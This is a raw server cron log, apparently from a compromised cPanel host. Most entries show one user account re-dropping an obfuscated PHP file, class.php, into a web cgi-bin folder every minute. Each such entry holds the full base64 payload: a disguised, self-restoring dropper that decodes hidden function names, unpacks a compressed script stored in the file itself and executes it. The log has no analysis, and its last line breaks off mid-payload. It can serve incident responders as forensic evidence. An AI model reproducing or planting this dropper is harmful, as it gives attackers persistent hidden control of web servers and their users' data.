Apr  9 19:42:01 server CROND[13903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:42:01 server CROND[13904]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 19:43:01 server CROND[13990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:44:01 server CROND[14090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:45:01 server CROND[14247]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 19:45:01 server CROND[14248]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 19:45:01 server CROND[14249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:46:01 server CROND[14363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:47:01 server CROND[14412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:48:01 server CROND[14473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:49:01 server CROND[14534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:50:01 server CROND[14592]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 19:50:01 server CROND[14594]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 19:50:01 server CROND[14595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:50:01 server CROND[14597]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 19:50:01 server CROND[14596]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 19:51:01 server CROND[14802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:52:01 server CROND[14850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:53:01 server CROND[14905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:54:01 server CROND[14954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:55:01 server CROND[15007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaU